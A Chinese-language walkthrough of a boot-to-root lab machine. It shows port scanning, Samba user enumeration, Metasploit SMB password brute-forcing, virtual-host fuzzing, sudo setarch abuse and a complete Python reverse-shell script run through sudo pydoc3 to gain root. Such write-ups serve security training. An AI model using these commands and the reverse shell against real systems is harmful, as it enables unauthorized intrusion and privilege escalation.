# 靶场搭建

下载:Discover

Nat,IP: 192.168.1.160

# 渗透过程

# 信息初收集

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp  open  http        nginx 1.18.0
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0
81/tcp  open  http        Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Site doesn't have a title (text/html).
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2

samba 枚举用户

S-1-22-1-1000 Unix User\ken (Local User)                                                               
S-1-22-1-1001 Unix User\takeshi (Local User)

用 metaploit 爆破一下账吧

msf6 auxiliary(scanner/smb/smb_login) > show options 
Module options (auxiliary/scanner/smb/smb_login):
   Name               Current Setting            Required  Description
   ----               ---------------            --------  -----------
   ABORT_ON_LOCKOUT   false                      yes       Abort the run when an account lockout is d
                                                           etected
   ANONYMOUS_LOGIN    false                      yes       Attempt to login with a blank username and
                                                            password
   BLANK_PASSWORDS    false                      no        Try blank passwords for all users
   BRUTEFORCE_SPEED   5                          yes       How fast to bruteforce, from 0 to 5
   CreateSession      false                      no        Create a new session for every successful
                                                           login
   DB_ALL_CREDS       false                      no        Try each user/password couple stored in th
                                                           e current database
   DB_ALL_PASS        false                      no        Add all passwords in the current database
                                                           to the list
   DB_ALL_USERS       false                      no        Add all users in the current database to t
                                                           he list
   DB_SKIP_EXISTING   none                       no        Skip existing credentials stored in the cu
                                                           rrent database (Accepted: none, user, user
                                                           &realm)
   DETECT_ANY_AUTH    false                      no        Enable detection of systems accepting any
                                                           authentication
   DETECT_ANY_DOMAIN  false                      no        Detect if domain is required for the speci
                                                           fied user
   PASS_FILE          /usr/share/wordlists/rock  no        File containing passwords, one per line
                      you.txt
   PRESERVE_DOMAINS   true                       no        Respect a username that contains a domain
                                                           name.
   Proxies                                       no        A proxy chain of format type:host:port[,ty
                                                           pe:host:port][...]
   RECORD_GUEST       false                      no        Record guest-privileged random logins to t
                                                           he database
   RHOSTS             192.168.1.160              yes       The target host(s), see https://docs.metas
                                                           ploit.com/docs/using-metasploit/basics/usi
                                                           ng-metasploit.html
   RPORT              445                        yes       The SMB service port (TCP)
   SMBDomain          .                          no        The Windows domain to use for authenticati
                                                           on
   SMBPass                                       no        The password for the specified username
   SMBUser            ken                        no        The username to authenticate as
   STOP_ON_SUCCESS    true                       yes       Stop guessing when a credential works for
                                                           a host
   THREADS            500                        yes       The number of concurrent threads (max one
                                                           per host)
   USERPASS_FILE                                 no        File containing users and passwords separa
                                                           ted by space, one pair per line
   USER_AS_PASS       false                      no        Try the username as the password for all u
                                                           sers
   USER_FILE                                     no        File containing usernames, one per line
   VERBOSE            true                       yes       Whether to print output for all attempts
View the full module info with the info, or info -d command.

得到账号密码: ken/kenken

由于看不到地址,所以还需要枚举一下地址

┌──(root㉿kali)-[~]
└─# smbmap -u ken -p kenken -H 192.168.1.160
    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
 -----------------------------------------------------------------------------
     SMBMap - Samba Share Enumerator | Shawn Evans - [email protected]
                     https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)                                
                                                                                                    
[+] IP: 192.168.1.160:445       Name: 192.168.1.160             Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        print$                                                  READ ONLY       Printer Drivers
        IPC$                                                    NO ACCESS       IPC Service (Samba 4.13.13-Debian)
        ken                                                     READ, WRITE     File Upload Path

知道了目录 ken,连上去

┌──(root㉿kali)-[~]
└─# smbclient //192.168.1.160/ken -U ken    
Password for [WORKGROUP\ken]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue May 28 03:09:04 2024
  ..                                  D        0  Mon Jul  3 17:19:50 2023
  index.html                          N       15  Tue Jul  4 06:33:20 2023
                7173040 blocks of size 1024. 4754604 blocks available

传一个 shell.php 上去,直接就下载了

迷茫……

再做目录扫描,81 端口发现 under_construction 目录

打开 403,用 post 请求 curl -X POST "http://192.168.1.160:81/under_construction" -L 得到一个新的域名 todiscover.nyx

添加到 host 中后跑一下子域

┌──(root㉿kali)-[~]
└─# wfuzz -t 100 -c --hl=7 -X POST -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.todiscover.nyx" "http://todiscover.nyx/shell.php"

直接拿到了 shell

# 提权

sudo -l 发现 setarch 权限

sudo - u takeshi setarch $(arch) /bin/sh 拿到了 takeshi 的权限

生成一个 ssh 的密钥对,写入 authorized_keys,登录。

sudo -l 发现有 pydoc3 这个程序,能起一个 web 服务

写一个反向 shell 的 py 在 takeshi 目录下

#!/usr/bin/python3
import os
import socket
import subprocess
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.129",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

把 web 服务拉起来: sudo /usr/bin/pydoc3 -n 192.168.1.160 -b -p 8888

访问一下 http://192.168.1.160:8888/

监听,点一下 shell 脚本,就拿到 root 了